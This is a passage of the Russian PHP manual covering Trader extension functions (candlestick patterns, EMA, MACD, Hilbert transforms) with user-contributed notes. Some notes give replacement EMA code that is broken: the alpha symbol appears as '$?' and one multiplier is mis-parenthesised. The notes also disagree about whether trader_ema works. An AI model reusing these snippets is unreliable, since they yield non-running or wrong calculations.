trader_cdlspinningtop(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Торможение

  • « trader_cdlspinningtop
  • trader_cdlsticksandwich »
  • PHP Manual
  • Функции Trader
  • Торможение

trader_cdlstalledpattern

(PECL trader >= 0.2.0)

trader_cdlstalledpattern — Торможение

Описание

trader_cdlstalledpattern(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Прилипший сэндвич

  • « trader_cdlstalledpattern
  • trader_cdltakuri »
  • PHP Manual
  • Функции Trader
  • Прилипший сэндвич

trader_cdlsticksandwich

(PECL trader >= 0.2.0)

trader_cdlsticksandwich — Прилипший сэндвич

Описание

trader_cdlsticksandwich(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Такури (Стрекоза Доджи с очень длинной нижней тенью)

  • « trader_cdlsticksandwich
  • trader_cdltasukigap »
  • PHP Manual
  • Функции Trader
  • Такури (Стрекоза Доджи с очень длинной нижней тенью)

trader_cdltakuri

(PECL trader >= 0.2.0)

trader_cdltakuri — Такури (Стрекоза Доджи с очень длинной нижней тенью)

Описание

trader_cdltakuri(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Разрыв Тасуки

  • « trader_cdltakuri
  • trader_cdlthrusting »
  • PHP Manual
  • Функции Trader
  • Разрыв Тасуки

trader_cdltasukigap

(PECL trader >= 0.2.0)

trader_cdltasukigap — Разрыв Тасуки

Описание

trader_cdltasukigap(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Толчок"

  • « trader_cdltasukigap
  • trader_cdltristar »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Толчок"

trader_cdlthrusting

(PECL trader >= 0.2.0)

trader_cdlthrusting — Свечная модель "Толчок"

Описание

trader_cdlthrusting(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Тристар"

  • « trader_cdlthrusting
  • trader_cdlunique3river »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Тристар"

trader_cdltristar

(PECL trader >= 0.2.0)

trader_cdltristar — Свечная модель "Тристар"

Описание

trader_cdltristar(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Особая впадина три реки"

  • « trader_cdltristar
  • trader_cdlupsidegap2crows »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Особая впадина три реки"

trader_cdlunique3river

(PECL trader >= 0.2.0)

trader_cdlunique3river — Свечная модель "Особая впадина три реки"

Описание

trader_cdlunique3river(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Перевёрнутые две вороны"

  • « trader_cdlunique3river
  • trader_cdlxsidegap3methods »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Перевёрнутые две вороны"

trader_cdlupsidegap2crows

(PECL trader >= 0.2.0)

trader_cdlupsidegap2crows — Свечная модель "Перевёрнутые две вороны"

Описание

trader_cdlupsidegap2crows(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Верх/вниз - три метода

  • « trader_cdlupsidegap2crows
  • trader_ceil »
  • PHP Manual
  • Функции Trader
  • Верх/вниз - три метода

trader_cdlxsidegap3methods

(PECL trader >= 0.2.0)

trader_cdlxsidegap3methods — Верх/вниз - три метода

Описание

trader_cdlxsidegap3methods(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вектор наибольшего целого числа

  • « trader_cdlxsidegap3methods
  • trader_cmo »
  • PHP Manual
  • Функции Trader
  • Вектор наибольшего целого числа

trader_ceil

(PECL trader >= 0.2.0)

trader_ceil — Вектор наибольшего целого числа

Описание

trader_ceil(array $real): array

Вычисляет следующее наибольшее целое число для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:52
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_ceil($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-7)
  [1]=>
  float(0)
  [2]=>
  float(1)
  [3]=>
  float(1)
  [4]=>
  float(1)
  [5]=>
  float(2)
  [6]=>
  float(56)
}
*/


Осциллятор ценовых моментов Чанде

  • « trader_ceil
  • trader_correl »
  • PHP Manual
  • Функции Trader
  • Осциллятор ценовых моментов Чанде

trader_cmo

(PECL trader >= 0.2.0)

trader_cmo — Осциллятор ценовых моментов Чанде

Описание

trader_cmo(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Линейный коэффициент корреляции r-Пирсона

  • « trader_cmo
  • trader_cos »
  • PHP Manual
  • Функции Trader
  • Линейный коэффициент корреляции r-Пирсона

trader_correl

(PECL trader >= 0.2.0)

trader_correl — Линейный коэффициент корреляции r-Пирсона

Описание

trader_correl(array $real0, array $real1, int $timePeriod = ?): array

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Тригонометрический вектор косинуса

  • « trader_correl
  • trader_cosh »
  • PHP Manual
  • Функции Trader
  • Тригонометрический вектор косинуса

trader_cos

(PECL trader >= 0.2.0)

trader_cos — Тригонометрический вектор косинуса

Описание

trader_cos(array $real): array

Вычисляет косинус для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:48
<?php

$real = array(0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.1);

$result = trader_cos($real);

var_dump($result);
/*
array(12) {
  [0]=>
  float(1)
  [1]=>
  float(0.995)
  [2]=>
  float(0.98)
  [3]=>
  float(0.955)
  [4]=>
  float(0.921)
  [5]=>
  float(0.878)
  [6]=>
  float(0.825)
  [7]=>
  float(0.765)
  [8]=>
  float(0.697)
  [9]=>
  float(0.622)
  [10]=>
  float(0.54)
  [11]=>
  float(0.454)
}
}
*/


Тригонометрический вектор гиперболического косинуса

  • « trader_cos
  • trader_dema »
  • PHP Manual
  • Функции Trader
  • Тригонометрический вектор гиперболического косинуса

trader_cosh

(PECL trader >= 0.2.0)

trader_cosh — Тригонометрический вектор гиперболического косинуса

Описание

trader_cosh(array $real): array

Вычисляет гиперболический косинус для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Двойная экспоненциальная скользящая средняя

  • « trader_cosh
  • trader_div »
  • PHP Manual
  • Функции Trader
  • Двойная экспоненциальная скользящая средняя

trader_dema

(PECL trader >= 0.2.0)

trader_dema — Двойная экспоненциальная скользящая средняя

Описание

trader_dema(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Арифметический вектор деления

  • « trader_dema
  • trader_dx »
  • PHP Manual
  • Функции Trader
  • Арифметический вектор деления

trader_div

(PECL trader >= 0.2.0)

trader_div — Арифметический вектор деления

Описание

trader_div(array $real0, array $real1): array

Делит каждое значение из real0 на соответствующее значение из real1 и возвращает полученный массив.

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:37
<?php

$result = trader_div([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(0.167) // 1 / 6
  [1]=>
  float(0.286) / 2 / 7
  [2]=>
  float(0.375) // 3 / 8
  [3]=>
  float(0.444) // 4 / 9
  [4]=>
  float(0.5) // 5 / 10
}
*/


Индекс направленного движения

  • « trader_div
  • trader_ema »
  • PHP Manual
  • Функции Trader
  • Индекс направленного движения

trader_dx

(PECL trader >= 0.2.0)

trader_dx — Индекс направленного движения

Описание

trader_dx(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Экспоненциальная скользящая средняя

  • « trader_dx
  • trader_errno »
  • PHP Manual
  • Функции Trader
  • Экспоненциальная скользящая средняя

trader_ema

(PECL trader >= 0.2.0)

trader_ema — Экспоненциальная скользящая средняя

Описание

trader_ema(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

Anonymous 03-Sep-2019 10:08
As noted,  this function simply doesnt work.  It returns MA values.
andy at siliconrockstar dot com 01-Jun-2019 08:00
The trader_ema() function works correctly if you understand what the second argument is. The second argument is used to group the values into overlapping periods. Within the periods, the numbers undergo a simple average calculation.

So if you call trader_ema($array, 6), and your array only has six values, you're going to get back a simple average, because there is no previous data to weight the value.

If you call trader_ema($array, 3), then your six array values will be grouped into four overlapping groups of three, and you'll get back four values, each representing the EMA for that period.

Below is the output of trader_ema(array(1,2,2,1,3,4), 3) and trader_sma(array(1,2,2,1,3,4), 3). You can see the first value is the same for both the EMA and SMA calculations.

trader_ema(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.3333333333)
  [4]=>
  float(2.1666666667)
  [5]=>
  float(3.0833333333)
}

trader_sma(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.6666666667)
  [4]=>
  float(2)
  [5]=>
  float(2.6666666667)
}
Ash Christos 08-Aug-2018 07:28
This method works fine. If you're finding that the EMA and SMA results are the same, the precision setting might still be the default or not tuned to your use case. (For example floats with more than 3 levels, sathoshi's, etc)

# this is needed for 0.00XXXXZ levels
ini_set( 'trader.real_precision', '8' );
kazemi dot milad at gmail dot com 01-Aug-2018 11:22
trader_ema in wrong calculate value
this return just simple moving avrage
for get ema correct use this code
$number is data array and $n is number of period
example:
$number[0]    => last value
$number[n]    =>first value

function exponentialMovingAverage(array $numbers, int $n): array
{
    $numbers=array_reverse($numbers);
    $m   = count($numbers);
    $?   = 2 / ($n + 1);
    $EMA = [];

    // Start off by seeding with the first data point
    $EMA[] = $numbers[0];

    // Each day after: EMAtoday = ??xtoday + (1-?)EMAyesterday
    for ($i = 1; $i < $m; $i++) {
        $EMA[] = ($? * $numbers[$i]) + ((1 - $?) * $EMA[$i - 1]);
    }
    $EMA=array_reverse($EMA);
    return $EMA;
}
manoj dot monu23 at gmail dot com 03-Feb-2014 12:07
the trader_ema() function does'nt work correctly , it calculate just average of last period entries. Follow the following code for trader_ema:
 function EMACalculator($limit,$array)
{
    $EMA_previous_day = $array[0];
    //print_r($array);
    $multiplier1 = (2/$limit+1);
    $EMA[]=array();
    $EMA = $array[0];
    $Close= $array[1];

    while($limit)
{
    //echo"EMA is $EMA\n";
    $EMA = ($Close - $EMA_previous_day) * $multiplier1 + $EMA_previous_day;
    $EMA_previous_day= $EMA;

    $limit--;
}
return $EMA;
}
where $limit accept the period of ema  and $array : accept array of data for ema calculation.


Получить код ошибки

  • « trader_ema
  • trader_exp »
  • PHP Manual
  • Функции Trader
  • Получить код ошибки

trader_errno

(PECL trader >= 0.3.0)

trader_errno — Получить код ошибки

Описание

trader_errno(): int

Получить код ошибки последней операции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки, идентифицированный одной из TRADER_ERR_* констант.

User Contributed Notes

There are no user contributed notes for this page.


Арифметический вектор возведения в степень

  • « trader_errno
  • trader_floor »
  • PHP Manual
  • Функции Trader
  • Арифметический вектор возведения в степень

trader_exp

(PECL trader >= 0.2.0)

trader_exp — Арифметический вектор возведения в степень

Описание

trader_exp(array $real): array

Вычисляет e, возведённую в степень каждого значения в real. Возвращает массив с рассчитанными данными.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вектор наименьшего числа

  • « trader_exp
  • trader_get_compat »
  • PHP Manual
  • Функции Trader
  • Вектор наименьшего числа

trader_floor

(PECL trader >= 0.2.0)

trader_floor — Вектор наименьшего числа

Описание

trader_floor(array $real): array

Вычисляет следующее наименьшее целое число для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:54
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_floor($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-8)
  [1]=>
  float(0)
  [2]=>
  float(0)
  [3]=>
  float(0)
  [4]=>
  float(1)
  [5]=>
  float(1)
  [6]=>
  float(55)
}
*/


Получает режим совместимости

  • « trader_floor
  • trader_get_unstable_period »
  • PHP Manual
  • Функции Trader
  • Получает режим совместимости

trader_get_compat

(PECL trader >= 0.2.2)

trader_get_compat — Получает режим совместимости

Описание

trader_get_compat(): int

Получает режим совместимости, который влияет на способ выполнения вычислений всеми функциями модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор режима совместимости, который можно определить по константам TRADER_COMPATIBILITY_*.

User Contributed Notes

There are no user contributed notes for this page.


Получает нестабильный период

  • « trader_get_compat
  • trader_ht_dcperiod »
  • PHP Manual
  • Функции Trader
  • Получает нестабильный период

trader_get_unstable_period

(PECL trader >= 0.2.2)

trader_get_unstable_period — Получает нестабильный период

Описание

trader_get_unstable_period(int $functionId): int

Получает нестабильный коэффициент периода для конкретной функции.

Список параметров

functionId

Идентификатор функции, для которого нужно прочитать фактор. Следует использовать серию констант TRADER_FUNC_UNST_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Преобразование Гильберта - период доминирующего цикла

  • « trader_get_unstable_period
  • trader_ht_dcphase »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - период доминирующего цикла

trader_ht_dcperiod

(PECL trader >= 0.2.0)

trader_ht_dcperiod — Преобразование Гильберта - период доминирующего цикла

Описание

trader_ht_dcperiod(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Преобразование Гильберта - Фаза доминирующего цикла

  • « trader_ht_dcperiod
  • trader_ht_phasor »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - Фаза доминирующего цикла

trader_ht_dcphase

(PECL trader >= 0.2.0)

trader_ht_dcphase — Преобразование Гильберта - Фаза доминирующего цикла

Описание

trader_ht_dcphase(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Преобразование Гильберта - Phasor Components

  • « trader_ht_dcphase
  • trader_ht_sine »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - Phasor Components

trader_ht_phasor

(PECL trader >= 0.2.0)

trader_ht_phasor — Преобразование Гильберта - Phasor Components

Описание

trader_ht_phasor(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

bitstocoins at gmail dot com 28-May-2015 08:39
trader_ht_phasor is documented to take only one value

it requires exactly 2 parameters to operate properly

example is

$htpa = trader_ht_phasor($a['open'],$a['close']);


Преобразование Гильберта - SineWave

  • « trader_ht_phasor
  • trader_ht_trendline »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - SineWave

trader_ht_sine

(PECL trader >= 0.2.0)

trader_ht_sine — Преобразование Гильберта - SineWave

Описание

trader_ht_sine(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

phpnet at mediaquest dot nl 14-Mar-2018 12:08
This is in the changelog for pecl trader extension version 0.4.1. Previous versions used 2 arguments, now only one (see https://pecl.php.net/package-changelog.php?package=trader&release=0.4.1)
bitstocoins at gmail dot com 28-May-2015 08:43
Documentation is missing a value

$hts = trader_ht_sine($a['open'],$a['close']);


Преобразование Гильберта - мгновенная линия тренда

  • « trader_ht_sine
  • trader_ht_trendmode »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - мгновенная линия тренда

trader_ht_trendline

(PECL trader >= 0.2.0)

trader_ht_trendline — Преобразование Гильберта - мгновенная линия тренда

Описание

trader_ht_trendline(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Преобразование Гильберта - тренд против цикла

  • « trader_ht_trendline
  • trader_kama »
  • PHP Manual
  • Функции Trader
  • Преобразование Гильберта - тренд против цикла

trader_ht_trendmode

(PECL trader >= 0.2.0)

trader_ht_trendmode — Преобразование Гильберта - тренд против цикла

Описание

trader_ht_trendmode(array $real): array

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Адаптивная скользящая средняя Кауфмана

  • « trader_ht_trendmode
  • trader_linearreg_angle »
  • PHP Manual
  • Функции Trader
  • Адаптивная скользящая средняя Кауфмана

trader_kama

(PECL trader >= 0.2.0)

trader_kama — Адаптивная скользящая средняя Кауфмана

Описание

trader_kama(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Линейный регрессионный угол

  • « trader_kama
  • trader_linearreg_intercept »
  • PHP Manual
  • Функции Trader
  • Линейный регрессионный угол

trader_linearreg_angle

(PECL trader >= 0.2.0)

trader_linearreg_angle — Линейный регрессионный угол

Описание

trader_linearreg_angle(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Перехват линейной регрессии

  • « trader_linearreg_angle
  • trader_linearreg_slope »
  • PHP Manual
  • Функции Trader
  • Перехват линейной регрессии

trader_linearreg_intercept

(PECL trader >= 0.2.0)

trader_linearreg_intercept — Перехват линейной регрессии

Описание

trader_linearreg_intercept(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Линейный регрессионный наклон

  • « trader_linearreg_intercept
  • trader_linearreg »
  • PHP Manual
  • Функции Trader
  • Линейный регрессионный наклон

trader_linearreg_slope

(PECL trader >= 0.2.0)

trader_linearreg_slope — Линейный регрессионный наклон

Описание

trader_linearreg_slope(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

Angel J. Salinas 09-Apr-2019 10:30
Default value of precision in trader library is 3, but can be increased easily with something like this:

ini_set( 'trader.real_precision', '6' );
Angel J. Salinas 06-Feb-2016 11:26
// If you don't have the php_trader library or needs more than 3 precision digits,
// you can use this function:
public static function linearreg_slope( $valuesIn, $period )
{
  $valuesOut = array();

  $startIdx = 0;
  $endIdx = count($valuesIn) - 1;

  $sumX = $period * ( $period - 1 ) * 0.5;
  $sumXSqr = $period * ( $period - 1 ) * ( 2 * $period - 1 ) / 6;
  $divisor = $sumX * $sumX - $period * $sumXSqr;

  for ( $today = $startIdx, $outIdx = 0; $today <= $endIdx; $today++, $outIdx++ )
  {
    $sumXY = 0;
    $sumY = 0;
    if ( $today >= $period - 1 ) {
      for( $aux = $period; $aux-- != 0; )
      {
        $sumY += $tempValue = $valuesIn[$today - $aux];
        $sumXY += (double)$aux * $tempValue;
      }
      $valuesOut[$outIdx] = ( $period * $sumXY - $sumX * $sumY) / $divisor;
    }
  }

  return $valuesOut;
}


Линейная регрессия

  • « trader_linearreg_slope
  • trader_ln »
  • PHP Manual
  • Функции Trader
  • Линейная регрессия

trader_linearreg

(PECL trader >= 0.2.0)

trader_linearreg — Линейная регрессия

Описание

trader_linearreg(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вектор натурального логарифма

  • « trader_linearreg
  • trader_log10 »
  • PHP Manual
  • Функции Trader
  • Вектор натурального логарифма

trader_ln

(PECL trader >= 0.2.0)

trader_ln — Вектор натурального логарифма

Описание

trader_ln(array $real): array

Вычисляет натуральный логарифм для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вектор логарифма по основанию-10

  • « trader_ln
  • trader_ma »
  • PHP Manual
  • Функции Trader
  • Вектор логарифма по основанию-10

trader_log10

(PECL trader >= 0.2.0)

trader_log10 — Вектор логарифма по основанию-10

Описание

trader_log10(array $real): array

Вычисляет логарифм по основанию-10 для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Скользящая средняя

  • « trader_log10
  • trader_macd »
  • PHP Manual
  • Функции Trader
  • Скользящая средняя

trader_ma

(PECL trader >= 0.2.0)

trader_ma — Скользящая средняя

Описание

trader_ma(array $real, int $timePeriod = ?, int $mAType = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

mAType

Тип скользящей средней. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 02:55
<?php
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

var_dump(trader_ma($closes, 3, TRADER_MA_TYPE_SMA));

/*
array(12) {
  [2]=>
  float(114.543)  // (112.82 + 117.32 + 113.49) / 3 = 114.54333333333
  [3]=>
  float(114.27)   // (117.32 + 113.49 + 112) / 3 = 114.27
  [4]=>
  float(113.615)  // (113.49 + 112 + 115.355) / 3 = 113.615
  [5]=>
  float(114.298)  // (112 + 115.355 + 115.54) / 3 = 114.29833333333
  [6]=>
  float(114.342)  // (115.355 + 115.54 + 112.13) / 3 = 114.34166666667
  [7]=>
  float(112.67)   // (115.54 + 112.13 + 110.34) / 3 = 112.67
  [8]=>
  float(109.77)   // (112.13 + 110.34 + 106.84) / 3 = 109.77
  [9]=>
  float(109.087)  // (110.34 + 106.84 + 110.08) / 3 = 109.08666666667
  [10]=>
  float(109.577)  // (106.84 + 110.08 + 111.81) / 3 = 109.57666666667
  [11]=>
  float(109.67)   // (110.08 + 111.81 + 107.12) / 3 = 109.67
  [12]=>
  float(109.05)   // (111.81 + 107.12 + 108.22) / 3 = 109.05
  [13]=>
  float(109.207)  // (107.12 + 108.22 + 112.28) /3 = 109.20666666667
}
*/


Скользящее среднее сходимость/дивергенция

  • « trader_ma
  • trader_macdext »
  • PHP Manual
  • Функции Trader
  • Скользящее среднее сходимость/дивергенция

trader_macd

(PECL trader >= 0.2.0)

trader_macd — Скользящее среднее сходимость/дивергенция

Описание

trader_macd(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $signalPeriod = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

fastPeriod

Номер периода для быстрого скользящего среднего. Допустимы значения от 2 до 100000.

slowPeriod

Номер периода для медленного скользящего среднего. Допустимы значения от 2 до 100000.

signalPeriod

Сглаживание для сигнальной линии (номер периода). Допустимы значения от 1 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

koenig at globaltown dot de 25-Jan-2014 11:25
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MACD с управляемым типом MA

  • « trader_macd
  • trader_macdfix »
  • PHP Manual
  • Функции Trader
  • MACD с управляемым типом MA

trader_macdext

(PECL trader >= 0.2.0)

trader_macdext — MACD с управляемым типом MA

Описание

trader_macdext(
array $real,
int $fastPeriod = ?,
int $fastMAType = ?,
int $slowPeriod = ?,
int $slowMAType = ?,
int $signalPeriod = ?,
int $signalMAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

fastPeriod

Номер периода для быстрого скользящего среднего. Допустимы значения от 2 до 100000.

fastMAType

Тип скользящей средней для быстрого скользящего среднего. Следует использовать серию констант TRADER_MA_TYPE_*.

slowPeriod

Номер периода для медленного скользящего среднего. Допустимы значения от 2 до 100000.

slowMAType

Тип скользящей средней для медленного скользящего среднего. Следует использовать серию констант TRADER_MA_TYPE_*.

signalPeriod

Сглаживание для сигнальной линии (номер периода). Допустимы значения от 1 до 100000.

signalMAType

Тип скользящей средней для сигнальной линии. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Исправление схождения/расхождения скользящей средней 12/26

  • « trader_macdext
  • trader_mama »
  • PHP Manual
  • Функции Trader
  • Исправление схождения/расхождения скользящей средней 12/26

trader_macdfix

(PECL trader >= 0.2.0)

trader_macdfix — Исправление схождения/расхождения скользящей средней 12/26

Описание

trader_macdfix(array $real, int $signalPeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

signalPeriod

